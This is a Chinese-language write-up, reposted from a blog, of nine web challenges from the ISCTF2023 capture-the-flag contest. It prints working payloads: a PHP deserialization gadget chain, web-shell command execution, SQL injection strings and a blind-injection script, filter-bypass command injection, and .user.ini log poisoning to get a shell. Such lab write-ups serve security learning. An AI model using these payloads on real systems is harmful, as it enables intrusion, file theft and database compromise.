0


ISCTF2023 Web部分题解

一.圣杯战争

本题前置知识:

//有关本题PHP反序列化漏洞魔法方法讲解

__invoke():该函数在对象被当作函数名时自动被调用
__get():该函数在对象调用一个不存在或没有调用权限的属性时自动被调用
__toString:该函数在对象被当作字符串使用时自动调用
__wakeup():该函数在对象被反序列化时自动调用

首先看题目提供的源码,发现unserialize函数,一眼丁真是反序列化漏洞

先分析一下代码,众所周知,反序列化的题要反着做,先找能执行RCE或者其它漏洞的函数,可以发现在saber类中有include()函数,可以用来执行任意代码或者读取文件,那么如果可以控制该函数的$weapon变量就成功一大半了

接下来构造pop链,要想执行include()必须先调用__invoke()魔法方法,想要调用__invoke()函数就必须把类saber的对象当作函数名使用,接着发现在类prepare中有调用$function()函数并且$function的值可以控制,我们只需要把类prepare的对象的$release变量的值变为对象saber就行,这样$function()就相当于把saber对象当作函数调用了,但想要执行$function()又必须要__get()函数被执行,所以下一步就是怎么使__get()被调用,那就是调用一个prepare对象不存在属性即可自动执行__get()魔法方法,所以就来到了类artifact,因为在__toString()有 $this->excalibuer->arrow; 该代码就是在调用属性arrow,如果使excalibuer为对象prepare,就等于在这调用了prepare类中的属性arrow,很明显prepare类中没有这个属性,所以就可以达到前面执行__get()的目的了,但$this->excalibuer->arrow在__toSting()中,接着就是想办法执行__toString(),该方法在对象被当作字符串处理时会被自动调用,所以类summon中的echo $this->Sber;就可以发挥作用力,只需要将summon类中的Sber属性的值等于artifact对象即可,到这pop链也就结束了,以下是pop链php完整代码

<?php
highlight_file(__FILE__);
error_reporting(0);

class artifact{
    public $excalibuer;
    public $arrow;
    public function __toString(){
        echo "为Saber选择了对的武器!<br>";
        return $this->excalibuer->arrow;
    }
}

class prepare{
    public $release;
    public function __get($key){
        $functioin = $this->release;
        echo "蓄力!咖喱棒!!<br>";
        return $functioin();
    }
}
class saber{
    public $weapon="php://filter/convert.base64-encode/resource=flag.php";
    public function __invoke(){
        echo "胜利!<br>";
        include($this->weapon);
        echo "-----".$this->weapon."-------";
    }
}
class summon{
    public $Saber;
    public $Rider;

    public function __wakeup(){
        echo "开始召唤从者!<br>";
        echo $this->Saber;
    }
}

$poc=new summon();
$poc->Saber=new artifact();
$poc->Saber->excalibuer=new prepare();
$poc->Saber->excalibuer->release=new saber();
echo serialize($poc);

?>
$poc=O:6:"summon":2:{s:5:"Saber";O:8:"artifact":2:{s:10:"excalibuer";O:7:"prepare":1:{s:7:"release";O:5:"saber":1:{s:6:"weapon";s:52:"php://filter/convert.base64-encode/resource=flag.php";}}s:5:"arrow";N;}s:5:"Rider";N;}

最后设置$weapon的值是伪协议即可读取文件 ,然后base64解码就有flag了,flag:ISCTF{6d24e525-6230-48b3-9e79-2c25e9cee8dd}

二.where_is_the_flag

 <?php
//flag一分为3,散落在各处,分别是:xxxxxxxx、xxxx、xxx。
highlight_file(__FILE__);

//标准一句话木马~
eval($_POST[1]);
?> 

直接post:1=system("ls"); 以及1=system("ls /"); 可以发现两个flag文件,只剩下最后一个flag部分了,在根目录下发现一个关键文件->start.sh,查看一下内容:

#!/bin/sh sed -i "s/{{FLAG1}}/${FLAG:0:10}/" /var/www/localhost/htdocs/flag.php 
echo ${FLAG:10:10} > /flag2 
export FLAG3=${FLAG:20} 
FLAG3=${FLAG:20} 
export FLAG="flag" 
FLAG="flag" httpd -D FOREGROUND

可以看两个flag文件路径就是前面我们以及找的文件,而没有写flag3的路径,只是定义了一个名为flag3的环境变量,没有输出,所以可以在phpinfo中找到所有环境变量的值:

三. 绕进你的心里

题目源码:

<?php
highlight_file(__FILE__);
error_reporting(0);
require 'flag.php';
$str = (String)$_POST['pan_gu'];
$num = $_GET['zhurong'];
$lida1 = $_GET['hongmeng'];
$lida2 = $_GET['shennong'];
if($lida1 !== $lida2 && md5($lida1) === md5($lida2)){
    echo "md5绕过了!";
    if(preg_match("/[0-9]/", $num)){
        die('你干嘛?哎哟!');
    }
    elseif(intval($num)){
        if(preg_match('/.+?ISCTF/is', $str)){
            die("再想想!");
        }
        if(stripos($str, '2023ISCTF') === false){
            die("就差一点点啦!");
        }
        echo $flag;
    }
}
?> 

第一层过滤:需要两个变量不相等,但md5()加密之后的值相等,考虑使用数组,因为php大多数加密函数不能对数组进行处理,接受数组后会返回NULL,也就是空

第二层过滤:preg_match()正则匹配,$num中不能含有数字,否则会结束程序,一样的,该函数接受数组也会返回错误

第三层过滤:intval()是将其中的参数变为整数,由于上一条num已经决定使用数组了,所以需要探讨intval()函数接受数组会怎么样:若数组中没有元素,则返回0,反之返回1,所以num要是一个非空数组

第四层过滤:对$str先正则匹配,如果其中有ISCTF则结束程序,然后使用stripos()来判断‘2023ISCTF’在不在$str中,若在,则输出flag,先讲一下preg_match()函数中的字符含义,'.'表示匹配换行符,'+'表示匹配多次,'?'表示此匹配是非贪婪的,i表示不区分大小写,s表示匹配不可见字符,这里利用该函数的最大回溯次数绕过,即在payload前添加1000000个安全字符,如'aaa',这样类似于还没匹配到payload的时候就已经到了最大匹配次数,直接返回false了,所以str='a'*100000+'2023ISCTF',传参用python写个脚本就行:

import requests
url = 'http://43.249.195.138:22757/?hongmeng[]=1&shennong[]=2&zhurong[]=3'
data = {
    'pan_gu':"aaa"*1000000+"2023ISCTF",
}
r = requests.post(url=url,data=data)
print(r.text)

结果如下:

四.easy_website

访问靶机发现是一个登陆界面,随便输个账号密码然后抓个包

试了一下,弱密码admin,admin可以登录,但没什么有用的回显信息,试着在admin后面添加单引号,发现报错:

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '21232f297a57a5a743894a0e4a801fc3'' at line

有了sql语句报错,很显然sql注入获取数据库数据是本题的方向,简单试一下联合查询语句之后,可以得出过滤了空格,select,union关键字,空格可以使用/**/,%09 ,%0c ,%0a,%0b,%0d代替,关键字的话双写就行

报数据库:

username='uunionnion/**/sselectelect/**/database()%23

爆表名:

username=admi'uunionnion/**/sselectelect/**/group_concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema='users'%23

爆列名:

username=admi'uunionnion/**/sselectelect/**/group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_name='users'%23

爆数据:

username=admi'uunionnion/**/sselectelect/**/group_concat(passwoorrd)/**/from/**/users%23

flag:ISCTF{72166e6d-1f92-43c6-ab28-cc5c65ddf90a}

五.wafr
<?php
/*
Read /flaggggggg.txt
*/
error_reporting(0);
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);

if(preg_match("/cat|tac|more|less|head|tail|nl|sed|sort|uniq|rev|awk|od|vi|vim/i", $_POST['code'])){//strings
    die("想读我文件?大胆。");
}
elseif (preg_match("/\^|\||\~|\\$|\%|jay/i", $_POST['code'])){
    die("无字母数字RCE?大胆!");
}
elseif (preg_match("/bash|nc|curl|sess|\{|:|;/i", $_POST['code'])){
    die("奇技淫巧?大胆!!");
}
elseif (preg_match("/fl|ag|\.|x/i", $_POST['code'])){
    die("大胆!!!");
}
else{
    assert($_POST['code']);
}

过滤了很多东西,但反斜杠还可以用,那过滤的关键字就都能用了,分号可以用?>代替

payload: code=system("ta\c /f*")?>

tac 和 ta\c是一样的,所以过滤关键字一定要记得过滤 \ , '' , ""这些分隔符,否则关键字就都能用

六.ez_ini

访问后是一个上传文件页面,应该是文件上传漏洞,通过尝试后发现文件后缀不能是php,文件内容不能用<,这样的就过滤掉了一句话木马,结合题目名字,不难猜出要配合.user.ini配置文件解题,

上传文件名为.user.ini,内容为,auto_prepeng_file=/var/log/nginx/access.log,接着改UA为一句话木马,然后访问upload.php就可以getshell了

七.webinclude

文件包含题,先用dirsearch扫一目录看有没有藏东西,结果发现了当前目录下有flag.php,index.bak,访问index.bak下载源码后发现是一个js文件,对parameter进行了类似加密的操作

 function string_to_int_array(str){
        const intArr = [];

        for(let i=0;i<str.length;i++){
          const charcode = str.charCodeAt(i);

          const partA = Math.floor(charcode / 26);
          const partB = charcode % 26;

          intArr.push(partA);
          intArr.push(partB);
        }

        return intArr;
      }

      function int_array_to_text(int_array){
        let txt = '';

        for(let i=0;i<int_array.length;i++){
          txt += String.fromCharCode(97 + int_array[i]);
        }

        return txt;
      }

const hash = int_array_to_text(string_to_int_array(int_array_to_text(string_to_int_array(parameter))));
if(hash === 'dxdydxdudxdtdxeadxekdxea'){
            window.location = 'flag.html';
          }else {
            document.getElementById('fail').style.display = '';
          }

可以看出我们要传的变量名经过加密后要是'dxdydxdudxdtdxeadxekdxea',所以就写个脚本把这一串字符给他还原就得到变量名了,以下是js脚本:

function string_to_int_array(str){
        const intArr = [];

        for(let i=0;i<str.length;i++){
          const charcode = str.charCodeAt(i);

          const partA = charcode-97;

          intArr.push(partA);
        }

        return intArr;
      }

      function int_array_to_text(int_array){
        let txt = '';

        for(let i=0;i<int_array.length;i+=2){
          txt += String.fromCharCode(26*int_array[i]+int_array[i+1]);
        }

        return txt;
      }

const hash=int_array_to_text(string_to_int_array(int_array_to_text(string_to_int_array('dxdydxdudxdtdxeadxekdxea'))));
alert(hash);

还原后变量名是mihoyo,有了变量名,剩下结合php伪协议直接读文件flag.php就行了

八.fuzz
<?php
/*
Read /flaggggggg.txt
Hint: 你需要学会fuzz,看着键盘一个一个对是没有灵魂的
知识补充:curl命令也可以用来读取文件哦,如curl file:///etc/passwd
*/
error_reporting(0);
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
$file = 'file:///etc/passwd';
if(preg_match("/\`|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\+|\=|\\\\|\'|\"|\;|\<|\>|\,|\?|jay/i", $_GET['file'])){
    die('你需要fuzz一下哦~');
}
if(!preg_match("/fi|le|flag/i", $_GET['file'])){
    $file = $_GET['file'];
}
system('curl '.$file);

这题我当作rce做的,payload:file=||tac

/f[a-z]aggggggg.txt

解释一下,||的作用是当前面的命令执行失败时,才会执行后面的命令,显然curl||是执行失败的,也就会执行后tac 命令了,[a-z]表示匹配一个从a 到z的字符,L当然也在其中

九.1z_sql

sql注入题,简单测试后发现可以查表名列名的库全被ban了,但题目给了两个附加,猜测是表名和列名,这题sleep()也没了,可以考虑用布尔盲注,因为当我们输入admin'#的时候页面会有一个hint,虽然这串hint没什么用,但可以用来证明sql语句是对的,下面是布尔盲注脚本

import requests

url = "http://43.249.195.138:21828/"

result = ""
i = 0

while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        payload = "select group_concat(password) from users"
        data = {
            'username':f"admin'and if(ord(substr(({payload}),{i},1))>{mid},1,0)#",
            'password': 'admin'
        }
        r = requests.post(url,data=data)
        #print(r.text)
        if r.text.find("hint")>0:  #该步骤表示当前字符不是正确答案 应该继续递增
            head = mid + 1
        else:
            tail = mid

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

表名users,列名username和password是在附件里提示的

最后拿到账号:admin 密码:we1come7o1sctf

登录即可拿到flag:ISCTF{3f523bfb-8bd7-42e3-9832-e6e6540d10fa}

标签: android

本文转载自: https://blog.csdn.net/m0_74070606/article/details/134699669
版权归原作者 那年那山那海 所有, 如有侵权,请联系我们删除。

“ISCTF2023 Web部分题解”的评论:

还没有评论